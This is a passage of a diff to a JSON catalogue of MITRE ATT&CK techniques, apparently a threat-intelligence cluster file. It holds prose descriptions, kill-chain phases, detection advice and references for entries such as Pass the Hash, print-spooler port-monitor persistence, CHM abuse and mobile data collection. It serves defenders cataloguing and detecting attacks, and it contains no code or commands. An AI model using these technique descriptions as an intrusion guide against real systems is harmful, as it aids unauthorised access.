2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1061" - ], - "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228" + "https://attack.mitre.org/techniques/T1222", + "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces", + "https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights", + "https://www.tutorialspoint.com/unix/unix-file-permission.htm", + "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", + "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110", + "https://docs.microsoft.com/windows-server/administration/windows-commands/icacls", + "https://docs.microsoft.com/windows-server/administration/windows-commands/attrib", + "https://linux.die.net/man/1/chmod", + "https://linux.die.net/man/1/chown", + "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/", + "https://docs.microsoft.com/windows-server/administration/windows-commands/takeown", + "https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl" + ] }, - "value": "Graphical User Interface" + "uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "value": "File Permissions Modification - T1222" }, { - "description": "Pass the hash (PtH)[[Citation: Aorato PTH]] is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a [[Credential Access]] technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.[[Citation: NSA Spotting]]\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs", + "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)", "meta": { - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "external_id": "T1352", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1075", - "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf", - "http://www.aorato.com/labs/pass-the-hash/" - ], - "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff" + "https://attack.mitre.org/techniques/T1352" + ] }, - "value": "Pass the Hash" + "uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336", + "value": "C2 protocol development - T1352" }, { - "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)[[Citation: Wikipedia SMB]] and Remote Procedure Call Service (RPCS)[[Citation: TechNet RPC]] for remote access. RPCS operates over port 135.[[Citation: MSDN WMI]]\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for [[Discovery]] and remote [[Execution]] of files as part of [[Lateral Movement]].[[Citation: FireEye WMI 2015]]\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior.[[Citation: FireEye WMI 2015]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters", + "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "meta": { + "external_id": "T1223", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", + "File monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1047", - "https://msdn.microsoft.com/en-us/library/aa394582.aspx", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "https://technet.microsoft.com/en-us/library/cc787851.aspx", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" - ], - "uuid": "01a5a209-b94c-450b-b7f9-946497d91055" + "https://attack.mitre.org/techniques/T1223", + "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", + "https://msdn.microsoft.com/windows/desktop/ms644670", + "https://msdn.microsoft.com/windows/desktop/ms524405", + "https://msitpros.com/?p=3909", + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" + ] }, - "value": "Windows Management Instrumentation" + "uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "value": "Compiled HTML File - T1223" }, { - "description": "A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.[[Citation: AddMonitor]] This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot.[[Citation: Bloxham]] Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.[[Citation: Bloxham]] The spoolsv.exe process also runs under SYSTEM level permissions.\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to AddMonitor.\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Stefan Kanthak", + "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)", "meta": { + "external_id": "T1232", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1232" + ] + }, + "uuid": "b355817c-cf63-43b4-94a4-05e9645fa910", + "value": "Create implementation plan - T1232" + }, + { + "description": "If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "meta": { + "external_id": "T1242", + "kill_chain": [ + "mitre-pre-attack:target-selection" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1242" + ] + }, + "uuid": "c860af4a-376e-46d7-afbf-262c41012227", + "value": "Determine operational element - T1242" + }, + { + "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)", + "meta": { + "external_id": "T1225", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1225" + ] + }, + "uuid": "d778cb83-2292-4995-b006-d38f52bc1e64", + "value": "Identify gap areas - T1225" + }, + { + "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)", + "meta": { + "external_id": "T1252", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1252" + ] + }, + "uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d", + "value": "Map network topology - T1252" + }, + { + "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)", + "meta": { + "external_id": "T1262", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1262" + ] + }, + "uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090", + "value": "Enumerate client configurations - T1262" + }, + { + "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)", + "meta": { + "external_id": "T1272", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1272" + ] + }, + "related": [ + { + "dest-uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549", + "value": "Identify business relationships - T1272" + }, + { + "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1282", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1282" + ] + }, + "uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d", + "value": "Determine physical locations - T1282" + }, + { + "description": "An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)", + "meta": { + "external_id": "T1292", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1292" + ] + }, + "uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6", + "value": "Test signature detection - T1292" + }, + { + "description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1432", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "value": "Access Contact List - T1432" + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", + "meta": { + "external_id": "T1423", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1423" + ] + }, + "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790", + "value": "Network Service Scanning - T1423" + }, + { + "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)", + "meta": { + "external_id": "T1253", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1253" + ] + }, + "uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c", + "value": "Conduct passive scanning - T1253" + }, + { + "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)", + "meta": { + "external_id": "T1325", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1325" + ] + }, + "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30", + "value": "Fast Flux DNS - T1325" + }, + { + "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)", + "meta": { + "external_id": "T1326", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1326" + ] + }, + "uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a", + "value": "Domain registration hijacking - T1326" + }, + { + "description": "An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1273", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1273" + ] + }, + "uuid": "695b1cce-57d7-49ae-a2af-820d50153f12", + "value": "Mine social media - T1273" + }, + { + "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)", + "meta": { + "external_id": "T1328", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1328" + ] + }, + "uuid": "45242287-2964-4a3e-9373-159fad4d8195", + "value": "Buy domain name - T1328" + }, + { + "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)", + "meta": { + "external_id": "T1283", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1283" + ] + }, + "related": [ + { + "dest-uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a", + "value": "Identify business relationships - T1283" + }, + { + "description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1442", + "refs": [ + "https://attack.mitre.org/techniques/T1442" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9", + "value": "Fake Developer Accounts - T1442" + }, + { + "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1254", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1254" + ] + }, + "uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726", + "value": "Conduct active scanning - T1254" + }, + { + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: StackOverflow-iOSVersion).", + "meta": { + "external_id": "T1426", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1426", + "https://zeltser.com/third-party-keyboards-security/", + "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on" + ] + }, + "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "value": "System Information Discovery - T1426" + }, + { + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)", + "meta": { + "external_id": "T1246", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1246" + ] + }, + "related": [ + { + "dest-uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "59369f72-3005-4e54-9095-3d00efcece73", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "78e41091-d10d-4001-b202-89612892b6ff", + "value": "Identify supply chains - T1246" + }, + { + "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", + "meta": { + "external_id": "APP-32", + "kill_chain": [ + "mitre-mobile-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1428", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" + ] + }, + "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "value": "Exploit Enterprise Resources - T1428" + }, + { + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "meta": { + "external_id": "T1249", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1249" + ] + }, + "related": [ + { + "dest-uuid": "af358cad-eb71-4e91-a752-236edc237dae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "a757670d-d600-48d9-8ae9-601d42c184a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1", + "value": "Conduct social engineering - T1249" + }, + { + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", + "meta": { + "external_id": "T1265", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1265" + ] + }, + "related": [ + { + "dest-uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "78e41091-d10d-4001-b202-89612892b6ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "59369f72-3005-4e54-9095-3d00efcece73", + "value": "Identify supply chains - T1265" + }, + { + "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)", + "meta": { + "external_id": "T1258", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1258" + ] + }, + "uuid": "6baf6388-d49f-4804-86a4-5837240555cd", + "value": "Determine firmware version - T1258" + }, + { + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", + "meta": { + "external_id": "T1276", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1276" + ] + }, + "related": [ + { + "dest-uuid": "59369f72-3005-4e54-9095-3d00efcece73", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "78e41091-d10d-4001-b202-89612892b6ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "value": "Identify supply chains - T1276" + }, + { + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "meta": { + "external_id": "T1268", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1268" + ] + }, + "related": [ + { + "dest-uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "a757670d-d600-48d9-8ae9-601d42c184a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "af358cad-eb71-4e91-a752-236edc237dae", + "value": "Conduct social engineering - T1268" + }, + { + "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)", + "meta": { + "external_id": "T1296", + "kill_chain": [ + "mitre-pre-attack:people-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1296" + ] + }, + "uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92", + "value": "Assess targeting options - T1296" + }, + { + "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)", + "meta": { + "external_id": "T1287", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1287" + ] + }, + "uuid": "773950e1-090c-488b-a480-9ff236312e31", + "value": "Analyze data collected - T1287" + }, + { + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", + "meta": { + "external_id": "T1279", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1279" + ] + }, + "related": [ + { + "dest-uuid": "af358cad-eb71-4e91-a752-236edc237dae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "a757670d-d600-48d9-8ae9-601d42c184a5", + "value": "Conduct social engineering - T1279" + }, + { + "description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1433", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "value": "Access Call Log - T1433" + }, + { + "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)", + "meta": { + "external_id": "T1339", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1339" + ] + }, + "uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2", + "value": "Create backup infrastructure - T1339" + }, + { + "description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android", + "meta": { + "external_id": "T1443", + "refs": [ + "https://attack.mitre.org/techniques/T1443" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "831e3269-da49-48ac-94dc-948008e8fd16", + "value": "Remotely Install Application - T1443" + }, + { + "description": "A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).", + "meta": { + "external_id": "T1453", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1453", + "https://www.skycure.com/blog/accessibility-clickjacking/" + ] + }, + "uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", + "value": "Abuse Accessibility Features - T1453" + }, + { + "description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1435", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "value": "Access Calendar Entries - T1435" + }, + { + "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)", + "meta": { + "external_id": "T1345", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1345" + ] + }, + "uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234", + "value": "Create custom payloads - T1345" + }, + { + "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).", + "meta": { + "external_id": "APP-1", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1463", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", + "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" + ] + }, + "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", + "value": "Manipulate Device Communication - T1463" + }, + { + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.", + "meta": { + "external_id": "T1436", + "kill_chain": [ + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1436" + ] + }, + "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", + "value": "Commonly Used Port - T1436" + }, + { + "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.", + "meta": { + 